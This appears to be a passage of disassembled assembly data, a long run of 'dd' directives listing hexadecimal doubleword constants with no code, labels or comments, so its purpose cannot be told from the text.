		dd 5D3BFE8Bh, 0B29C3714h, 6A36BF07h, 75297862h,	7BCD3979h
		dd 0E9F2807Fh, 0C697A905h, 7459BD75h, 68E123C8h, 322B0B7Dh
		dd 6EEA4A13h, 4A6C5175h, 0EAF02D09h, 306BB40Eh,	84EAD2E6h
		dd 11DAC241h, 0B3ED0D61h, 0E548502Dh, 28359D04h, 41AC53F0h
		dd 8E052BF8h, 13BEEA83h, 0A1D6B891h, 0B900DFC9h, 0ED252762h
		dd 0A4C208E5h, 16F5280Eh, 4F048AAEh, 8589FCEDh,	0ED83B9C0h
		dd 0EA31011Ch, 0C517D59Fh, 84E31522h, 4081B5B8h, 0F20473Dh
		dd 98142695h, 51E200E8h, 0E93B4533h, 3F2E782Eh,	0F35EF589h
		dd 0A1D81293h, 0D8E72D59h, 70EA6895h, 757E9F13h, 0BD3E5759h
		dd 0E82812A9h, 0DAD49A5h, 53029C90h, 67E0E917h,	939129BBh
		dd 0A9164B32h, 0A3BF0EABh, 0AF85937Dh, 1077AE5Dh, 7E6E68B1h
		dd 0B685C63Ch, 29D8FA33h, 0C6082702h, 0E9124FC4h, 165297BEh
		dd 74B30717h, 0F0656100h, 0EAD6E969h, 50021BAh,	816F251Fh
		dd 253D2DF3h, 4ADE7BB9h, 0B1EF7689h, 0A67B1423h, 165D48ABh
		dd 0C861011Ch, 652F50F4h, 508AAF40h, 0AA525518h, 88AC28Ch
		dd 0BA807393h, 1FF854EBh, 1B0E07BFh, 39310FD7h,	76E20CDEh
		dd 124EF16Ch, 10C0BA5Dh, 0B0B4033Eh, 0ABC20B7h,	9028F24h
		dd 8EEFDE12h, 0F7BD5EAEh, 0FCF4E9C2h, 0CDE229C8h, 7E957713h
		dd 0F7CC7CFCh, 0F3A05A06h, 0DCB9E5CFh, 0ED913113h, 0E82FC630h
		dd 99BEE57Ah, 0B93520F1h, 0B6FA489Dh, 1D1A92ECh, 0E2248BEh
		dd 5EEFF531h, 84880637h, 0C51F0A4Bh, 21C699DFh,	0E8125DEAh
		dd 7B497EB1h, 0FED39252h, 7D254F7h, 62D29D5Ah, 3433D430h
		dd 0FA42A4E5h, 0D155C64Dh, 0F5180A2Bh, 0BD156741h, 1A0BC757h
		dd 84F7FB68h, 6EED4D28h, 0F1D35A76h, 0B32C6B66h, 9F5D412Eh
		dd 0BF49C56Ch, 58315E31h, 5E5B4FE0h, 1309E0D3h,	0F9E37F64h
		dd 0CA20C440h, 5EA813E4h, 799741A4h, 2146B975h,	0B6F1F4F9h
		dd 953CBD9Bh, 13822FCh,	3DED6853h, 0F63878D5h, 2A131139h
		dd 6F5FA187h, 77212080h, 20BCB81Ch, 2D04DD59h, 235E31Dh
		dd 61932487h, 7074765Bh, 0FC135D68h, 0E9130F90h, 4F1AB81Dh
		dd 38F329AAh, 0E3BFE408h, 2A0712ACh, 6D070CB9h,	0B3226241h
		dd 1602280Eh, 0CD46D768h, 0F15CE01Eh, 956432B1h, 0D47C20B6h
		dd 4703B801h, 58707AE0h, 56550289h, 12F6E965h, 756B6854h
		dd 0D2B4EE9Eh, 5A2AE978h, 59D3F70Dh, 52F85BCEh,	3AB599E4h
		dd 8110888Bh, 74E1076Ch, 0E9E21EFFh, 5CACA475h,	74752A4h
		dd 0D8518624h, 6857302Dh, 11500D16h, 0A5ED48Bh,	5E76639h
		dd 0A23F10C6h, 2845B350h, 5A4F0B35h, 0E7A53585h, 2A1D30h
		dd 2D658440h, 3CB523FAh, 7242968h, 0C612F72Ch, 68652CFBh
		dd 0C6032527h, 0B813278Ch, 7CE5B820h, 811A1E45h, 540DE1EFh
		dd 14DD2743h, 80035AB8h, 7BF0BE7Eh, 0BD588B01h,	69293DB2h
		dd 0EB5E1130h, 8926B83Fh, 26F77481h, 13A548D2h,	1E8FC78h
		dd 0D91B33BFh, 0C47B4F5Dh, 24FCF0DBh, 3C792C05h, 0ECE9BAE9h
		dd 41BEEB02h, 0E077600Ch, 1E2B74FBh, 25E905F3h,	112D43D4h
		dd 0B2351D57h, 0C398E36Eh, 5E5ED0E9h, 2F53EC16h, 16A75C01h
		dd 3B00E151h, 0E4A597A9h, 164C529Dh, 70C6853Ch,	8B9687B8h
		dd 80532EA1h, 0E788A200h, 9EF7C1E9h, 0F6C588FEh, 0E6BAE025h
		dd 76587528h, 59CB80Ah,	0E9A7C17Fh, 25B1E8D1h, 9695EADh
		dd 0F21A52E6h, 84FE7AE8h, 0C52DA4BAh, 0CFCCF001h, 0F52B0506h
		dd 22204350h, 41683888h, 0E6259FC9h, 70BDD050h,	0B90AA014h
		dd 15AC275Eh, 68C07FFEh, 0E074E50h, 0D505E960h,	65D9FB12h
		dd 0E89E83Fh, 6F051974h, 0E66CC968h, 0CFAFBB0h,	292E4926h
		dd 3A1294ABh, 9F6889B1h, 8E09E9A7h, 2CFB6CAAh, 4C54E5A2h
		dd 70D05DFEh, 0A5F749ABh, 0DACAFB59h, 1839EE02h, 98841A11h
		dd 10F6F3D8h, 8813680Ah, 793291EEh, 0C58F8085h,	253E6856h
		dd 0ED145B5Ah, 0A0ED8078h, 3A0FC51Fh, 3CD771E9h, 480DF102h
		dd 1B5C66CAh, 117F4300h, 0D88B84E9h, 4A015023h,	58057C02h
		dd 0EC27BD68h, 2C6D7C9Dh, 0BF6033Fh, 0BA5D1ED8h, 0B807F4Ah
		dd 57BA6806h, 0F27533BDh, 342D0076h, 22009126h,	0D305D0F7h
		dd 1BD815BDh, 895B5AE9h, 8F079AB0h, 846BE09Fh, 7A95258Eh
		dd 18207552h, 0EB2117DAh, 47D91E5Dh, 6F75383Bh,	1391520h
		dd 110E2D25h, 0F330ED6Ah, 58075210h, 788C13E9h,	616938D2h
		dd 0FB3C1805h, 56643135h, 0C7241C43h, 0F417C26Ch, 9B4B80F2h
		dd 2C7E8A43h, 7989F700h, 0E9474E0Eh, 0B32B4ACCh, 0B64983Fh
		dd 62112E5Ah, 5A5D1091h, 0E7C91CAAh, 0D5F1E04Bh, 46283AD0h
		dd 0F11345A3h, 1DE92BEFh, 0A66F96A4h, 3E097318h, 805FF88Eh
		dd 5C0B6DD7h, 7ADBF732h, 3BC301D5h, 0EDE95DBCh,	0BA882B87h
		dd 0B728F251h, 1A0E1E89h, 64C48042h, 95CFE1h, 0B858C720h
		dd 9D3DF4B0h, 3BDA105h,	891D0DB1h, 0D137C4DFh, 2B5B542Bh
		dd 88770EF7h, 0FAFE2DEEh, 26126756h, 0DEA684D3h, 8930D998h
		dd 4D06FAF0h, 2106FF8Ch, 1459146Dh, 99586440h, 60FB0944h
		dd 3192C779h, 5551D181h, 0FFF2A6FDh, 0F364D1E6h, 0D6ACD368h
		dd 40588940h, 120968A6h, 31246F1Ah, 736331B7h, 19A550CCh
		dd 0B69D7692h, 0BCE392ACh, 0C205C2AEh, 58BA2D00h, 353B0282h
		dd 0F72A4E75h, 0EAC448D5h, 4ACD7DAEh, 6A72A159h, 0E05EAEF3h
		dd 5018F3FDh, 5C2C32F6h
		dd 0CA6D2E27h, 90E989E3h, 82BB4C60h, 9D0EFB12h,	39A44161h
		dd 21D0F601h, 14B82000h, 389F7165h, 3C8782A0h, 8B134BDAh
		dd 0D4CAA922h, 0DE921609h, 65AEF561h, 0CAEA85C3h, 0F541C984h
		dd 5C801A6Ah, 14AD6510h, 80E2C495h, 95744CD5h, 8CCA45F9h
		dd 9489107Bh, 13EE5AD3h, 3E9FBB52h, 0DD415025h,	0B962A683h
		dd 0F0279D1Bh, 5BD528C0h, 39CCC07Dh, 294ADD0Fh,	0E4608A81h
		dd 0BF77317Eh, 13D36FD7h, 1628F0C6h, 0F35B5F25h, 7B8750A6h
		dd 11E02018h, 69570B26h, 885FAE97h, 291F089Bh, 0E9C068AFh
		dd 955D98F7h, 73D1E01Bh, 73D32D5h, 26D008E1h, 3B4359B3h
		dd 662C823h, 6C7FF12Ch,	1341A1B7h, 0D881AE04h, 777F0F76h
		dd 12ADBEF2h, 281B4816h, 0EFC38660h, 5FC264B1h,	6917015Fh
		dd 34315735h, 22E488F5h, 2B2D1300h, 0E92CA220h,	3CCC600Bh
		dd 0AD59F2BFh, 0D968690Bh, 0E93B186Bh, 16F4BC93h, 50DDF4B8h
		dd 65E8D290h, 0CB6A0983h, 19D0F10Ch, 854B6706h,	80EA317Bh
		dd 0F2204D83h, 82ACA26Ah, 0E353DE67h, 0A05B9777h, 0D4EAF67Bh
		dd 0B0274E8Bh, 0E001D165h, 5CEF135h, 0B47B093Bh, 61230A0h
		dd 0C2AFA936h, 177C14E7h, 7582FF47h, 55226441h,	97309FB9h
		dd 25A1B4AAh, 45B724F8h, 0F3668074h, 0F831357Eh, 173FCD97h
		dd 7822A3F0h, 792F2725h, 0ADE9419Eh, 1B392B58h,	0A9FA32Bh
		dd 0EB72FD68h, 0A2EE18Ch, 0B22C5E31h, 0C2EF3454h, 3C6EE6BBh
		dd 0ABEC4A56h, 6ADCA5F4h, 0B540CE88h, 96570C62h, 9DFB9847h
		dd 2CA5190Eh, 6730AED6h, 4C2F7AB8h, 0FD5A453Ch,	2D3D5924h
		dd 0D1C62BFDh, 68590285h, 0D3DC61F2h, 0DE02B1CAh, 403E5830h
		dd 67065EEh, 0E2C1174Eh, 6490607h, 0D7A009FAh, 0BF3A702Bh
		dd 8F763E8Bh, 95264452h, 309B0670h, 4A434F17h, 202CEA80h
		dd 0E7051C06h, 885AD530h, 9CB72A0h, 0BA76820h, 4D201446h
		dd 0B4F778C3h, 997BD31h, 0C7E32C6Bh, 0FA7F9C05h, 9DFD57A7h
		dd 49EB484h, 30A9C368h,	32C8D327h, 7014C9F6h, 58A3D05h
		dd 168B0B06h, 4038108h,	0C34F2595h, 0A3E4BBECh,	0B75E104Ah
		dd 37EA3860h, 0BB046CCDh, 0C23C508Ch, 0FD3E3C0h, 29762E2Bh
		dd 0B608A02Dh, 5BFE0252h, 9BFD62F6h, 0A1260570h, 0E86C2856h
		dd 3C7C059Fh, 8AC6E97Eh, 0A595C26h, 2D2EEE06h, 0CE7F1669h
		dd 1096A82Fh, 4F6168DEh, 0AF353142h, 60F6DB3Ah,	2F207C01h
		dd 4F8F6813h, 29C5302Ah, 46086939h, 19BCE9h, 8058C128h
		dd 2C393AF1h, 0DCCE27D3h, 0FC763199h, 4C26AFCBh, 6BF10198h
		dd 87E967D5h, 0C3D781F8h, 11DA65B9h, 12CB943Eh,	189C0908h
		dd 0C82A1A30h, 1BF10D7h, 0FB0B9A11h, 2B6C316Ch,	31BA1813h
		dd 4EF7632h, 0A62B84C9h, 94D21509h, 0AB26508Bh,	0B15833A9h
		dd 0EC321A25h, 2F26B601h, 0FD59304h, 2F7B318Ah,	0F536C78h
		dd 103493BDh, 12AEC3B4h, 0E056A46Dh, 66E881ECh,	3AA9701Dh
		dd 5A938BBCh, 25D4FEEBh, 0C265DB79h, 0FF4E29ECh, 0F8EBB24Bh
		dd 5ACE39F9h, 0C09B02F6h, 0B3E903EEh, 0FE9D29D8h, 25AB78AAh
		dd 6ACE17C0h, 95475519h, 3050DE19h, 0D48AD36Eh,	4D9E9D9h
		dd 0E0A1CC2h, 46D3E2A6h, 7A54F63Fh, 0FE0B2EBCh,	0F2F8660Fh
		dd 87436077h, 3B9906F6h, 0BECEF89Dh, 207E25DBh,	24987E6Bh
		dd 6336006Fh, 0F6E9075Eh, 0D02FDFB4h, 2D5B0389h, 4C7C2BD3h
		dd 0EB49C9F2h, 26D72A89h, 98FE8FB4h, 21287F7Bh,	1CB41201h
		dd 3BBF5700h, 977A484Ah, 0B8A47DDCh, 1EE6D212h,	0ED6B9112h
		dd 868A042h, 4B1ABF30h,	5D167E44h, 0D4BEEA01h, 337DAB80h
		dd 7DE4AC02h, 0CCC56B44h, 8B3A131h, 0B2189F58h,	5DF1430Ch
		dd 3C575F04h, 79BCE1C1h, 6363507h, 8CF9E46h, 915B423Fh
		dd 0E05F6539h, 82F270B1h, 0C8804558h, 1BE45B8Bh, 0BA050B90h
		dd 46564D73h, 880FE85h,	0E64CC89Ch, 806CB731h, 0F955AEB0h
		dd 0B1A67E95h, 1578FF8Bh, 6710BA07h, 96A21E8Ch,	0CC0E4D6h
		dd 1CB60622h, 5A7ED87Ch, 0BB536901h, 79E32A26h,	7D58ED3Fh
		dd 0F218CB12h, 8F05AEF9h, 0FA50C05Fh, 44C57597h, 4F5E0C23h
		dd 0BE38981Bh, 0E44AFA06h, 71392938h, 0BD969F5Eh, 1CB74076h
		dd 5F5DB09Eh, 15178A9Bh, 84E727DBh, 0F117D7ACh,	7DD680E3h
		dd 29F18D59h, 0D462CBDEh, 4B95C2FBh, 74A0768Eh,	8808776Fh
		dd 0C8540173h, 0FF5A160Ch, 274E1B70h, 0D7716006h, 11CAEE9h
		dd 0F61758B3h, 0F9D713A9h, 54CD054Bh, 8701025Fh, 40383BC5h
		dd 0C67CA23Bh, 97BF44E9h, 621C9B5Ch, 5D486645h,	8F8E38F9h
		dd 8172FBD3h, 9F45445h,	0B3895750h, 69699D8h, 0BA46E9D0h
		dd 0EC800001h, 58E730B6h, 9798D7F6h, 4BD45352h,	5F2B05F5h
		dd 9E20FDA3h, 2FC0E495h, 0DD56679Fh, 9BDEF378h,	5456091Dh
		dd 57537A30h, 0A745683Ah, 9F716021h, 0C7308019h, 5E3D5CB1h
		dd 0E67E27B1h, 11367CEAh, 798AE99Dh, 0E542C56h,	69ABC1CFh
		dd 0B8EAEBBEh, 999423F8h, 312A6D88h, 3AECD874h,	1151B3D1h
		dd 0D3D9E804h, 3C439841h, 62EB494Ch, 87B66E42h,	55EC29F2h
		dd 17ACEF5Ah, 95102A7Dh, 675C9DBAh, 64424C93h, 9004CD68h
		dd 24033B53h, 17EF3D22h, 0F79F401Ah, 4016290Bh,	4597F8F0h
		dd 8E7A3CFh, 0D1092EBCh, 363A01EDh, 4021F24Bh, 4C7C33E0h
		dd 587D43B3h, 71728F5h,	7904BA97h, 61C2DF89h, 8E7234Bh
		dd 38318CC1h, 4231F498h, 0CF6A02C2h, 31EB4B92h,	0D0763Eh
		dd 0F0F70159h, 0F9BE48D6h, 42B301A4h, 30218E32h, 6813A2B4h
		dd 0C313206Eh, 9DEFAF25h, 0E13AF448h, 0CABE10D2h, 0C145CB06h
		dd 0DE834B23h, 0D5E461BFh, 6E54FDE1h, 8B9DD0B3h, 0E35902C1h
		dd 3528E985h, 0DE4CF095h, 288DF07h, 0A9B159EFh,	9AECF930h
		dd 4503F5B0h, 0F608E1C0h, 0A0C1C0D9h, 0F48A20E9h, 69B05000h
		dd 0BC0C7104h, 0C592D652h, 0CF500CE9h, 4459CAFDh, 0FA00D29Dh
		dd 41356385h, 0EE4BD1h,	143B5D7Ah, 404EE5E9h, 57D4A6FDh
		dd 26B5804h, 0A4C0FA52h, 589DED3Dh, 0B97AFEDBh,	0D06492ECh
		dd 0D7253101h, 0CF012805h, 803BD55h, 45DEF29h, 9D44FB12h
		dd 2234127Bh, 0C52F83BBh, 0BC67BFBCh, 0FFD5ECA2h, 575E72B8h
		dd 2AE7EFFEh, 33558501h, 107F5064h, 292F07C9h, 5B4858F8h
		dd 174CDE4Ch, 7F2010C7h, 0E31949EAh, 0C57C5C27h, 0E6D7F4Fh
		dd 0CF2FA5B2h, 3093CFEFh, 9DBE1D21h, 408D1760h,	3EF60246h
		dd 1861F24Dh, 6F007E6Fh, 0C7FEDFF6h, 0CB43E50h,	5DC29125h
		dd 5EF34ED5h, 0E8529002h, 0BA0A5253h, 9D6A3D60h, 0F6930BBAh
		dd 0EE0AD799h, 97D31595h, 16A1DA26h, 0F6602262h, 0FF51AB57h
		dd 26C86D29h, 2A303C25h, 2FBA0C45h, 0D0145BBCh,	0AF21EA87h
		dd 4AF1665Ah, 0A4B20704h, 45A96882h, 20AE4DDFh,	14B84DBBh
		dd 8264C04Ch, 71388703h, 2BAAD5CEh, 7E508580h, 0C5EABD75h
		dd 0DCC0080Dh, 9133729Ah, 0A1560C55h, 947F3911h, 6808028Ch
		dd 985D4471h, 12E290Dh,	0C583415Ah, 2BF74DFFh, 4D9DA2E0h
		dd 29507B32h, 1162DEBh,	0B509BA72h, 0EDC0CDh, 0E9EEB273h
		dd 0F3F84D67h, 0E514DE48h, 7E601ED8h, 90F05924h, 0E60190B9h
		dd 62891083h, 0D9D0E8A5h, 77BE8416h, 5A3145EAh,	0A1AAB8B6h
		dd 30F8D821h, 0BA33B510h, 207637DAh, 3410762h, 0B5B9D0F7h
		dd 4B512D18h, 758100BAh, 0BF13C87Bh, 8D362904h,	81FA316Fh
		dd 35CD0423h, 0B8813B3Fh, 108F21DDh, 8FCBF828h,	421D3654h
		dd 2C146799h, 0EE3AD6D3h, 0FE87D26Fh, 8F09704h,	5CFF22AAh
		dd 25B32F7h, 279E2B2h
		dd 0FBF6348Ah, 0EE30A667h, 0DCF1289Ch, 5E012884h, 0BC2485C8h
		dd 68AD056Dh, 0D3AC241Ah, 360B90C0h, 2CC72943h,	0C2CED305h
		dd 0F6B1E913h, 0E1CE3DF7h, 0C2BA61DBh, 425DF3D8h, 5AFC4EFFh
		dd 1DA901A5h, 0CC1FA84Ah, 145BE942h, 9941E0BDh,	0A9605B21h
		dd 4E063D10h, 0AF72A063h, 0AFCE3F3Bh, 0C1350123h, 32B04E3h
		dd 0A93652BDh, 0D829EAB1h, 7A9D1644h, 4A088271h, 0BACFFDF0h
		dd 0CE905725h, 8982CCF4h, 333C7FADh, 0C9EF71B7h, 0C6E23A74h
		dd 302D0045h, 6858BE52h, 38FF4FAFh, 774BF3C5h, 9C57CCCCh
		dd 2DEA4E23h, 0AE128B15h, 0B3E86E8h, 71AC4B7h, 0AB0675B8h
		dd 1B7AD671h, 570F2E98h, 642A0929h, 9AAE1FD1h, 56E521Eh
		dd 47762526h, 0F01A4C90h, 16BF7B68h, 0DDE860Bh,	413A1579h
		dd 3FAAA35Ah, 41F06ACCh, 7C842F4Bh, 0C7A05AC2h,	4A76BFDDh
		dd 0BF8C40A8h, 667F2A4Ch, 1268B80Eh, 0D1EC37EFh, 0D29C05Ah
		dd 542D36AEh, 92C6FC7Bh, 0BAC981B5h, 81D7782Ch,	7D9A76D0h
		dd 181D0D20h, 1808587Bh, 9D2E1FF8h, 314C741h, 7661818Dh
		dd 46EC0F28h, 0F86BE1CFh, 9FE9F052h, 0E517C0E1h, 31917510h
		dd 74CD872Dh, 40CB121Ah, 6C4CBBDEh, 57905144h, 0AD54D8B0h
		dd 0BC9654C5h, 66F30452h, 0A7AA17AEh, 68CFC407h, 86DE5909h
		dd 950BDC2h, 93DA7E82h,	439C5F09h, 50775495h, 10DD7D05h
		dd 0AC6E5801h, 50D69743h, 0ADE09D71h, 41BCFB01h, 0A351557Ah
		dd 0CBF8FE4Bh, 78098101h, 0E9EF2033h, 0F3D4C12Dh, 25682DE9h
		dd 6E7B5EEDh, 2A3910BFh, 52AABC6h, 4247584Ah, 0E6A58030h
		dd 0F59FC64h, 0D6E91775h, 0BE687E81h, 0BD24492Fh, 53F15DC8h
		dd 0A26D5A09h, 976C8801h, 2DF90508h, 0F38854FCh, 45B126CAh
		dd 1695E8D9h, 50FCF1E1h, 6C6E62D9h, 0AB71C4D9h,	8A188114h
		dd 13F37584h, 8AB1382Eh, 5C06A909h, 0B6BE5019h,	61584972h
		dd 0F7060CDBh, 0BA08D0DEh, 99C63D1Eh, 297DB285h, 4E0BCBF0h
		dd 60B72EABh, 436851A6h, 2C5F2D1Eh, 0FCB91525h,	2FF34C0Fh
		dd 9F65F158h, 0E090D654h, 7BB55D3Bh, 0BD688409h, 1090E311h
		dd 834C4958h, 74D9B84Eh, 2E7C113h, 75D02907h, 0F9C43AB4h
		dd 0A82ECC99h, 0B3BEB5DEh, 95922221h, 0F9B5ADCCh, 5ABC0CDCh
		dd 0FD25882Ah, 33F20F5Bh, 0F0C24F92h, 0C1EA9E7Eh, 89603968h
		dd 68517061h, 5CD101DAh, 405EA5E0h, 15CFEF52h, 0BCDE4A7Bh
		dd 5A08C714h, 697AC899h, 17916A40h, 0D83BBDF3h,	3ABF293Ah
		dd 79AAC4C7h, 0B745E019h, 0AF940F70h, 2E5C184h,	0DE0191BAh
		dd 0FE97483Ch, 60B55312h, 9D0493BCh, 0C588B4D4h, 0DA8A0427h
		dd 750EE45h, 6A555008h,	0CE938260h, 0F43DA71Eh,	0C99EFAh
		dd 4589CA81h, 3F6361Dh,	6082E56Ch, 0DFBD0455h, 0EE5F9A0Ch
		dd 4C996CA0h, 0D3A65ACEh, 0C1C0479Eh, 907A0F1Bh, 1FF1A077h
		dd 0AC3AE1FFh, 233F22Fh, 887873E9h, 2E6CBA05h, 3A002CBh
		dd 0C27ABE08h, 5F059F4Fh, 7D800909h, 9E689368h,	26F61C1Fh
		dd 13DB810Eh, 6893D8EBh, 7F7CA969h, 583F28EEh, 665AAD55h
		dd 78BA003Ch, 0E9112D02h, 1AC0E2CAh, 1870B1BDh,	595B9D07h
		dd 0E50110ACh, 77AB65F4h, 5848CE40h, 0F73E13EAh, 0A7F8A8DDh
		dd 0B7EE7BBBh, 2771B034h, 0EF480129h, 2E388472h, 36D1BE13h
		dd 7B805944h, 6FB951EAh, 100E4121h, 0DF55C981h,	0FDF16BD7h
		dd 0E4D98E7h, 93184C15h, 0C04F2A04h, 3FAFE8C6h,	13F2975Dh
		dd 270E38ADh, 12FE4314h, 0BF8035DDh, 5BC4348Ch,	0AC1628E8h
		dd 0B9380343h, 0AC4F0238h, 9DAAD311h, 96B26377h, 0A473DBEh
		dd 33E9049Eh, 0D6B80109h, 53708689h, 622ABB00h,	0D921133Eh
		dd 0EDF4C15Bh, 6A617E75h, 0EA0506F2h, 0E873E55Eh, 0D025787Ah
		dd 0B56764C0h, 0BAADD153h, 5153556Dh, 6007D9CBh, 55294F63h
		dd 5E3BAF90h, 17C873Ah,	0D829E9EEh, 0A05C654Fh,	0A7DC1A04h
		dd 651D6540h, 4AD85CC1h, 18816E67h, 10130558h, 3E09D951h
		dd 0DCA9AD87h, 8B1C2CBh, 67F5EBA0h, 395B0B45h, 3AC760E4h
		dd 2D896518h, 0A921A6E9h, 0E050C330h, 0FDB15CEFh, 1CBD5A4h
		dd 0F6713DB3h, 886BB547h, 0E90508C1h, 23A4415Eh, 742524B1h
		dd 3F47833Eh, 0A4A97304h, 765C3E79h, 1877484h, 0CBBFEF85h
		dd 39AE4E57h, 273076D7h, 7786420Bh, 20AEDC60h, 302FC139h
		dd 97CF7CEFh, 9A285029h, 2D9318F7h, 9EED0CBFh, 1513113h
		dd 6E856C56h, 30D2F7BEh, 0D828B1D2h, 251C792Ch,	0B752CA11h
		dd 0AD5EF23Ch, 688E8746h, 41842911h, 73BCD9FBh,	0EDC12885h
		dd 0D2C10107h, 8246F21Dh, 57A4BE7Eh, 40E5E30h, 8AAAE9h
		dd 0B1515266h, 0E3B212CAh, 17D01C28h, 0C60CBAD0h, 0E804880Eh
		dd 0B2520951h, 55FFE27h, 0C1FF290Ch, 3AE353D9h,	0CEE5F30h
		dd 0B429401h, 719BFA3Bh, 47D43FF2h, 74CDB00Bh, 0ACFE423Ah
		dd 0F188C20Eh, 2493755Ah, 2AC655F1h, 523F31E2h,	1C995D19h
		dd 87B86E5Ah, 7D9DF603h, 7E20471Ch, 0AC665B05h,	6838D882h
		dd 0B3BB8080h, 454C1B72h, 56E2023Dh, 77317246h,	0ED952850h
		dd 41FF288Ch, 51B63314h, 7339EC47h, 0B4E9180Bh,	0CF7A79CDh
		dd 0EA1C32C4h, 8D87241h, 0D2436C30h, 10D13DCh, 0B636AFEBh
		dd 5768168Fh, 0C3B7AC65h, 92C6CE9h, 19E1ED7Dh, 0C4AE1309h
		dd 0F55B0854h, 77B54377h, 9BF8B4Ah, 0F9CC6AACh,	0F6E38816h
		dd 0AB6A12FFh, 95B36A03h, 0E961BF08h, 0DC2A8BDDh, 0F84A0159h
		dd 315B51F7h, 2E90804Dh, 5B0D4231h, 57D6BA00h, 31266D04h
		dd 84C45AD1h, 0C8D81205h, 8E49F552h, 0E1054941h, 2870E90h
		dd 107CF5BFh, 3F3B7E34h, 3A93C5BFh, 0B531AFF3h,	8C310D49h
		dd 0E722D9FDh, 0E02F00D2h, 297A6222h, 58040195h, 8D2A4C01h
		dd 0E9110141h, 9A86C79h, 4634E668h, 1D26204Fh, 86B15B4Fh
		dd 0DC4AB32Fh, 9002378Bh, 2F63CE80h, 84807E1Eh,	0EDB5DADh
		dd 8E061B7h, 3C51E20h, 0E9279D50h, 3902D5CEh, 0E629D8E2h
		dd 80A75E06h, 214EC4F2h, 9D20E925h, 215C4CF1h, 94F5DB25h
		dd 5A8EB654h, 4A51A75h,	800399D4h, 27C10BEEh, 0F8276BCDh
		dd 0FC0E8882h, 256BEF2Dh, 0B214F8E2h, 0F919A60Bh, 0E9EF8109h
		dd 27833A22h, 764CBEF5h, 0C912C2FDh, 39C146F5h,	2E7C5352h
		dd 8F7C8D1Fh, 825255B9h, 8E40F55Ah, 3A943FD0h, 1BFA6307h
		dd 4B71CDC0h, 5D50B7BAh, 0BB4FF902h, 85F5315Fh,	28EACED2h
		dd 5A40474Eh, 33BB0353h, 1772E69h, 608FA811h, 0CB41C31Ch
		dd 0DD04BA23h, 4D44EAABh, 1D1F7B57h, 0DF88F6Fh,	0BA665944h
		dd 257797CCh, 0F5F85560h, 9F572540h, 0DADE848h,	14173B24h
		dd 0E475902h, 0A5A1E07Ch, 60D3047Bh, 91DAAEE9h,	38616339h
		dd 3365C6ACh, 99BF074Fh, 6C61E732h, 3187375h, 0B1A40EF9h
		dd 2F5881ACh, 0C6CDA8A1h, 0A23605DBh, 0BAFCA9E1h, 0F3C21C90h
		dd 1EDF2741h, 0EA14DB74h, 6BC25508h, 0B0E8980Bh, 17F4BBC8h
		dd 0FE232679h, 55D4A70h, 6B6202ADh, 0EC2686Ah, 48191877h
		dd 36EC202Ch, 5D79E2B7h, 22C67B9h, 0AA12D5E5h, 3995D85Fh
		dd 0EE069FF2h, 0E4D101FEh, 76F9E120h, 12104BC3h, 2C9F868h
		dd 0EB80E328h, 7F31C20Ah, 0A0449D59h, 50DEBCh, 35181D0Fh
		dd 0DC25BE65h, 7D0E58C4h, 0C03B304Ah, 0D314E4EFh, 9BE91777h
		dd 2472BB0Bh, 0C2FD10D2h, 5BCC7E9Dh, 0A7A02BF2h, 9C595FBEh
		dd 1FE89D59h, 2FD7EA29h, 95801F84h, 0B0B551D8h,	508C27EAh
		dd 105387Bh, 1DD95BDAh,	0C68AE47h, 3BC619B4h, 0DE9D889Ah
		dd 2B962CEh, 25F2F071h
		dd 4E83EFF6h, 0E97A0B5Fh, 50A5D91Eh, 0E2B201C3h, 7A2D6866h
		dd 0DAB47D21h, 824E1670h, 0E224E17Fh, 0A8EA99D3h, 0ECBFC47Fh
		dd 4268C2C1h, 80E45176h, 4FC05B8Ah, 160CF181h, 0AE7A3421h
		dd 0C97B26B8h, 0CDE109A8h, 0CA751B77h, 3809D7C0h, 5C701C7Fh
		dd 0E2329056h, 18419634h, 0A1282C8Dh, 0C40437ECh, 13BAF847h
		dd 38ABEE83h, 0B74AE9E4h, 57597602h, 6709C8F7h,	0C659C0EFh
		dd 15807A4Fh, 0E8E6C137h, 95DDBF2h, 0AB8F16E2h,	338F185Fh
		dd 3F1FDFEBh, 0D35F634Eh, 0FA96624Bh, 2F7C3A4Dh, 3FBFBC5Bh
		dd 9242D35h, 793D7E4Bh,	0C193B51h, 90415EF0h, 4074B12Ah
		dd 17321268h, 0F646A1DDh, 690E5A63h, 92734EBAh,	0BF0293F0h
		dd 7A5F6186h, 581CEF67h, 3031D6FBh, 579AF714h, 0F1D7D1FFh
		dd 35FFF183h, 8D987A74h, 0FB5B4BDFh, 0BFD1FC31h, 0D5F71C81h
		dd 7107E5C1h, 2D4C6CF6h, 502DF45Bh, 352ED2E6h, 0EE00DB1Eh
		dd 0B49CCE22h, 66240B2Dh, 705C1682h, 670CA409h,	0E133F85h
		dd 4ECFB7E8h, 0FB4AC7ACh, 12EFB012h, 32D10095h,	4123DA47h
		dd 0F892E92Dh, 535B97C6h, 3873F869h, 0EF4B6014h, 4562B33Dh
		dd 8F4752D2h, 1283203Bh, 0E6522768h, 5E44800h, 0FAE0D47h
		dd 6094F1BEh, 0FD09CF09h, 0A261502Eh, 0D8C51260h, 517809BBh
		dd 2D5CD81Fh, 0FAC4FC2Fh, 99B5966Ch, 0E32F011Fh, 1C87849Ch
		dd 0FB4F74FBh, 4FA405B0h, 0B86E3045h, 71687F07h, 0D263F284h
		dd 6801C083h, 0CC2C4A96h, 647ECF04h, 939074B8h,	88F1072Eh
		dd 625E7D40h, 9BE0B73Fh, 6925E093h, 0E72D78F3h,	0C77529D6h
		dd 0C680453h, 975AEB3Fh, 0BB13400Bh, 0F7EDCFA5h, 23FD94A9h
		dd 0F95B52E3h, 1E89DD9Fh, 16DDCF29h, 0EED39DA9h, 45E02713h
		dd 2DF80301h, 53677D88h, 253469A8h, 0BD552200h,	7FF237A6h
		dd 0AFC50981h, 5082ADE7h, 4CDFFBB0h, 4DE8F489h,	8650549Ch
		dd 5F782494h, 91202E7h,	0EA7943DDh, 1C45BE81h, 853E908Ah
		dd 3F5F1C5Eh, 29263D84h, 2D084FEh, 0A3E2E908h, 68671354h
		dd 0BB93E54h, 14EC97h, 351AB65Eh, 17026E6Ch, 8296E967h
		dd 0DD745463h, 76A28645h, 1986A84Ah, 0D8C9B40Bh, 0B1E8D5EDh
		dd 8A889778h, 0F8281794h, 83C0B435h, 0F9C76826h, 0B700AD23h
		dd 0E9272CD1h, 7CC2C442h, 4005E2C1h, 27D9FE29h,	52E0A48Ch
		dd 21B53EE9h, 1DB3ED3Eh, 0B8F328DDh, 2730E0EBh,	5FFC3BE8h
